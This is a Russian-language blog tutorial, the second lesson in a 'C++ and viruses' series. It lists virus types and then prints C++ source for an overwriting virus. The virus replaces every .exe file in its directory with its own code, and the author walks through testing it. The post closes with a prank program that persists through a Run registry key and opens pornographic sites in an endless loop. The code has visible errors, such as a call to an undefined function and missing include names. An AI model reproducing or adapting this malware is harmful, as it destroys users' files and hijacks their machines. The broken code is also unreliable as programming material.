• 9660
  • 0
  • 1
Нравится блог?
Подписывайтесь!

C++&Вирусы. Урок 2

Привет! Я продолжаю писать уроки по си++ и разработке вирусов.


Сегодня мы разберем классификацию вирусов и напишем непосредственно сам вирус.
Конечно, он будет очень примитивный, но все же.
В приложении вы найдете описание нескольких необходимых функций
Этот урок начнем с разбора типов вирусов

Итак, прежде всего вирусы бывают резидентские и нерезидентные



Резидентские – это те вирусы, которые находиться в памяти до выключение компьютера.
Нерезидентные – эти вирусы не заражают память и действуют только ограниченное время.



Надеюсь тут понятно. Резидентские вирусы работают (тоесть распространяются) только до выключения компьютера и выгрузки памяти. А Нерезидентные только ограниченное время.




Вирусы могут обитать в сети, файлах, загрузочной области, макросах.
По местам обитания их можно разбить на группы.



Сетевые вирусы – самые обычные черви, которые могут размножаться по сети и соответственно заржать множество компьютеров. Эти вирусы используют возможности сетевых протоколов и глобальной сети. Вспомни Морриса.

Файловые вирусы – очень распространенный тип. Те вирусы, которые заражают файлы, например с расширениями *.exe, *.com,*.sys и так далее. С ними мы будем знакомиться ближе. Сейчас я опишу их способы размножения, но полный разбор будет на следующем уроке.

Overwriting – самый простенький способ. Они записывают вместо кода файла свой код, т.е. вирус превращает файл в себя. Соответственно быстро паляться.

Parasitic – тоже внедряют свой код в файл, но только частично. Тоесть либо вначале, либо в конце. Возможно еще в середине.

Компаньон-вирусы - а вот эти файлы не изменяют заражаемые файлы, а только создают им спутник (двойник) например с расширение *.COM. Например, после если он заразит файл “Examp.exe” то у этого файла в этом же каталоге создастся файл “Examp.com”.

Link-вирусы – тоже не изменяют файл, но при запуске зараженного файла операционная система выполняет нужный нам код.




Вот основные типы файловых вирусов. Скажу что у них важна скорость размножения – чем быстрее, тем больше вероятность заразить больше файлов и вызвать эпидемию. НО. Чем медленнее работает этот вирус те меньше вероятность, что его запалить антивирь.



Загрузочные вирусы – они повреждает загрузочную область(Boot область) их еще называют бутовые вирусы. При загрузке ос. (Тоетсь после тестов установленного оборудования) она передает управление управляющей программе. Так вот цель вируса внедрить свой код в эту программу.

Макро вирусы – в некоторых текстовых редакторах, электронных таблицах и т.д. встроены специальные макро языки. И при их помощи переносят себя из одного зараженного файла (документа или таблицы) в другие. Наибольшее распространение получили макро-вирусы для Microsoft Word, Excel и Office97. Существуют также макро-вирусы, заражающие документы Ami Pro и базы данных Microsoft Access.


Да…. Еще есть вирус под название логическая бомба. Вирус этот срабатывает в определенное время, которое кодер запрограммировал.

Большое распространение получили трояны и бэкдоры. Работают они по технологии клиент сервер.



Это самые распространенные вирусы.
Мы в ближайщее время работать в направлении файловых вирусов.

Думаю пора нам практиковаться.

Хочу дать совет. При написании любого вируса сядь и распиши алгоритма работы этого вируса. Тут ты можешь поэкспериментировать.



Для начала думаю, стоит написать вирус оверврайтер. Напомню что они записывает поверх заражаемого файла свой код.
Вот примерный алгоритм.


----------------------------------------------------------------------------------------------------------
Сначала нужно найти файл с нужным расширением. Мы будем использовать *.exe

Далее проверить заражен ли это файл. Проверка может заключаться в обычном сравнении размеров.

Непосредственно заменить тело файла (код) на свое.

Ну и выйти.
----------------------------------------------------------------------------------------------------------


Ты, конечно, можешь модернизировать этот алгоритм, если будет желание.
А вот и код самого вируса. Сейчас будем разбирать.




//---------------------------------------------------------------------------

#include // подключение необходимых директив
#include 
#pragma hdrstop
#include // в stdio.h хранить много функций, которые щаз нам пригодятся
#pragma hdrstop
#pragma argsused

void rewrite(char vir[],char tmp[]) // заголовок 
{
FILE *TeloVir, *TeloProg; // буферы для хранение нужных данных
char Buffer[1024];
int i = 0; // числовые переменные
short Count=0; 
TeloVir=fopen(vir,"rb"); //берем тело вируса
if (TeloVir) {
TeloProg=fopen(tmp,"wb"); // берем тело жертвы
if (TeloProg)
{
for (i=0;i<7680;i++) // цикл перезаписи кода жертвы
{
Count=fread(Buffer,1,1024,TeloVir);
if (Count)
fwrite(Buffer,1,Count,TeloProg); // сама запись поверх файла
}
}
}
fclose(TeloVir);
fclose(TeloProg);
}

WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
char name[256]; 
GetModuleFileName(hInstance, name, 256); // получаем имя вируса
struct ffblk ff; // структура типа ffblk, ее еще будем разбирать
int done;
done=findfirst("*.exe",&ff,0); // ищем файлы по маске (*.exe)
while(!done)
{
VirusOver(name,ff.ff_name); // непосредственно используем нашу функцию и заменяем код файла на свой
done=findnext(&ff); // если еще есть файлы, то продолжаем поиск и замену
}
}
//---------------------------------------------------------------------------

Хоть вирус и примитивный но новичкам будем полезен для наглядности.

В начале кода мы подключаем необходимые директивы. 
В есть большинство функций, которые мы используем.
Далее мы пишем функцию rewrite. У нее будет два аргумента:
Имя вируса. Тоесть то откуда будем считывать код.
Имя жертвы. Тоесть куда будем записывать считанный код.

В ней объявляем переменные типа FILE, их 2, буфер для тела вируса и для тела жертвы.
Тип file предназначен для доступа к линейной последовательности элементов, данные в нем быть могут почти любого типа. Объявление можно сравнить с объявлением массива, но в здесь мы не указываем элементы.

Далее Buffer. Он пригодиться нам при записи.

И две числовые переменные.

Далее едет считывание тела вируса в буфер объявленный нами выше.
Используем функцию fopen (подробнее см.в приложении). В качестве 2 аргументов мы передаем ей имя вируса и что с ним будем делать, т. е. тип доступа (r=read тоисть только чтение). 

Потом происходит считывание тела жертвы той же функцией только вместо аргументов передаем имя жертвы, а тип доступа будем уже w=write, тоисть запись

Если все нормуль, то запускаем цикл, в котором будем побайтно записывать поверх кода жертвы свой код.
Цикл будем выполняться до тех пор, пока не переменная v будем меньше чем размер моего исполняемого файла (v<7680). Размер я представил в байтах. Твой размер, конечно, может быть другой (на это влияют много факторов).

Итак, тело цикла:

В переменную Count записываем число прочитанных объектов, которые читает функция fread (cм. Приложение).

Далее происходит запись c помощью функции fwrite. Все функции подробно разобраны в приложении. Так что с ними предлагаю тебе разобраться самому.

Все. В конце завершаем работу с нашими переменными. Вызываю функцию fclose.

Теперь мы будем использовать эту функцию.

Сначала объявляется символьная переменная на 256 символов.
Она нужно для получения имени исп. Файла
Потом структура типа ffblk (см, приложение)

Далее получаем имя нашего вируса с помощью функции GetModuleFileName( см, приложение). Она возвращает число почитанных байт. Запись происходит в переменную name.
Теперь мы ищем все файлы, которые подходят к маске *.exe, ищем с помощью функции FindFirst
В первом параметре передаем маску.
Во втором структуру типа ffblk
В третьем передали 0.
Запускаем цикл, в котором юзаем нашу функцию.
Как мы помним у нее 2 параметра: имя вируса и жертвы.
Так вот. В первый мы передали name (функция GetModuleFileName помогла нам найти имя) во втором ff_name структуры ff. И опять записываем в done результат уже функции FindNext. Функция FindNExt ищет следующий файл.

Ну, вроде все… если что, то не понял всегда есть гугл.

Теперь поговорим о тестирование. Нет, мы не мазохисты, но проверить надо.

Создай на харде директорию и закинь туда несколько ненужных *.exe файлов (или сделай копии нужных). Также закинь туда нашего зверька и запускай. Если ты сделал все правильно, то все файлы должны стать такого же размера что и наш вирус. Еще должна поменяться иконка, это одни из минусов. Теперь эти файлы такие же вирусы.

На последок я подкину тебе небольшую шутку.
Где-то я видел нечто подобное на дельфи
Код

char path[100]; // переменная для пути
GetCurrentDirectory( 100, path ); // получаем путь и записываем его в переменную path
TRegistry *reg = new TRegistry(KEY_ALL_ACCESS); // инициализируемся
reg->RootKey= HKEY_LOCAL_MACHINE; // корень
reg->OpenKey("Software", true); // далее открываться нужные разделы
reg->OpenKey("Microsoft", true);
reg->OpenKey("Windows", true);
reg->OpenKey("CurrentVersion", true);
reg->OpenKey("Policies", true);
reg->OpenKey("Explorer", true);
reg->OpenKey("run", true); 
reg->WriteString("MSDrive","path"); записываем параметр с именем Sistem и значение path. А path у нас это путь
reg->CloseKey();// ну и закрываем ключ
for (int i=1;i>0;i++)
{
ShellExecute(NULL, "open", "http://porno.com/",0, 0, SW_SHOWNORMAL); // открываем адрес
Sleep(10000);//æäåì 10 ñåê
ShellExecute(NULL, "open", "http://porno.ru/",0, 0, SW_SHOWNORMAL);
Sleep(60000); // еще около минуты
}

Все здесь решает функция ShellExecute в приложении есть ее описание.
Далее спим 10 секунд.
Открываем еще один адрес.
Спим минуту
Повторяем.
И все это происходит в бесконечном цикле.
А в начале мы записались в реестр. Этот код мы разбирали на прошлом уроке.
Да… не забудь добавить в начале #include 

Приложение.

Функции fopen, fread, fwrite.

Fopen – функция открывает файл определяемый именем.
Параметры – имя, тип доступа.

Какой может быть тип доступа?

"r" - открыть файл для чтения.
"w" – открыть файл для записи. (Все содержимое уничтожается) 
"a" – открыть файл для добавления

"r+" - открыть файл для чтения и одновременно для записи
"w+" – открыть файл для записи и чтения
"a+" – открыть файл для добавления и чтения

Помнишь, мы говорили о вирусах, которые могут записываться, например, только в начало файла, не стирая его полностью. Так вот для этого и служит «a» и «а+».

К ним можно добавить (что мы и сделали) “b”. С ним мы откроем файл в двоичном режиме.

Функция fopen возвращает указатель на открытый файл.
Если она вернула NULL то произошла ошибка.

Fread – как мы выяснили она что то читает
Параметры – Буфер в котором будут располагаться данные
Размер в байтах (у нас 1)
Максимально число объектов (1024)
Указатель на структуру FILE (TeloVir у нас)

Возвращает число прочитанных объектов.

Fwrite – записываем поверх кода файла

Параметры – Что записывать (мы указали считанный в buffer вирус)
Размер одного элемента, тоже в байтах
Максимальное число элементов
Ну и указатель на структуру FILE или попросту куда записывать

GetModuleFileName – возвращает маршрут к файлу.
Параметры - Идентификатор модуля.
Буфеp.
Размер буфера.
Функция возвратит нам число скопированных байт. Что собственно нам и нужно.

Структура типа ffblk.

В этой структуре храниться информация о файле и Содержащем его каталоге
Структура пригодиться нам при работе с FindFirst.

FindFirst – производит поиск по маске.
Параметры – Маска
Указатель на структуру ffblk.

При успешном выполнении возвращает 0. Если она видит что в каталоге нет подходящих файлов возвращает -1.

Вместе с ней мы используем также FindNext. Обращение к этой функции дает следующий файл, подходящий по шаблону.

Вот и все. Не судите строго =)

 

Уроки для хакеров и программистов

huzrus
3 февраля 2013, 21:38
1378

Loading...

Комментарии

Оставьте свой комментарий

Спасибо за открытие блога в Yvision.kz! Чтобы убедиться в отсутствии спама, все комментарии новых пользователей проходят премодерацию. Соблюдение правил нашей блог-платформы ускорит ваш переход в категорию надежных пользователей, не нуждающихся в премодерации. Обязательно прочтите наши правила по указанной ссылке: Правила

Также можно нажать Ctrl+Enter

Популярные посты

«До какой же еще степени унижения должен дойти народ?!»

«До какой же еще степени унижения должен дойти народ?!»

Министерство труда и соцзащиты провело через парламент очередной крайне неоднозначный закон, который может вызвать всплеск недовольства в стране.
openqazaqstan
15 нояб. 2017 / 11:17
  • 22461
  • 19
«Почему я не хочу встречаться с мужчинами-казахами»

«Почему я не хочу встречаться с мужчинами-казахами»

Заранее отпишусь, данный пост не является попыткой оскорбить собственную нацию) Как говорится о вкусах не спорят, каждому свое.
Bonittta
16 нояб. 2017 / 14:28
  • 11438
  • 340
Почему катастрофический отток интеллектуальной элиты не тревожит Астану?

Почему катастрофический отток интеллектуальной элиты не тревожит Астану?

Как сообщает телеканал КТК, только за последние девять месяцев Казахстан покинули 28200 человек, из них почти пять тысяч инженеров, около 2700 экономистов и 1700 учителей.
openqazaqstan
вчера / 11:00
  • 5139
  • 39
Задержан казахстанец, продававший детей в сексуальное рабство в ОАЭ и Бахрейн

Задержан казахстанец, продававший детей в сексуальное рабство в ОАЭ и Бахрейн

Подтверждаются худшие предположения, циркулирующие в соцсетях. Периодические исчезновения детей в разных регионах Казахстана объясняются не только семейными проблемами и «синими китами».
openqazaqstan
16 нояб. 2017 / 15:46
  • 5582
  • 54
«Думай как британец»: 8 вещей, которым я научилась в Великобритании

«Думай как британец»: 8 вещей, которым я научилась в Великобритании

Как два года в Великобритании изменили мою жизнь. Несколько простых вещей, которые могли бы сделать нашу жизнь лучше.
goribaldi
13 нояб. 2017 / 16:51
  • 3954
  • 28
Мой личный рейтинг женщин: от пуританки до содержанки

Мой личный рейтинг женщин: от пуританки до содержанки

Сегодня предлагаю вашему вниманию мой личный рейтинг женщин. А вот я хочу быть домохозяйкой, правда, не пахать дома, а хозяйничать.
Mysli_v_Sluh
13 нояб. 2017 / 15:00
Российским женщинам нужны казахстанские мужчины?

Российским женщинам нужны казахстанские мужчины?

Отдельные инициативы некоторых российских чиновников вызывают в Казнете приступы просто-таки гомерического ржача. Женщин в регионе – пруд пруди, а вот мужчин, с которыми они могли бы создать семьи, не хватает.
openqazaqstan
14 нояб. 2017 / 15:55
  • 2489
  • 18
Поездка на заработки в Южную Корею: пройти таможню и не стать персоной нон грата

Поездка на заработки в Южную Корею: пройти таможню и не стать персоной нон грата

Между нашими странами действует безвизовый туристический режим до 30 дней. Но на таможне не "туристов" разворачивают назад с пожизненным запретом во въезд в их страну. Однако пройти паспортный контроль вполне возможно.
Krykbayeva
12 нояб. 2017 / 14:38
  • 2723
  • 46
Система госинститутов Казахстана напоминает очень дорогое казино

Система госинститутов Казахстана напоминает очень дорогое казино

Сегодня в прессу просочились детали скандальной сделки ЕНПФ с «мусорными» облигациями ТОО «Бузгул Аурум», о которой уже подробно рассказывалось в начале года.
openqazaqstan
15 нояб. 2017 / 16:13
  • 2987
  • 21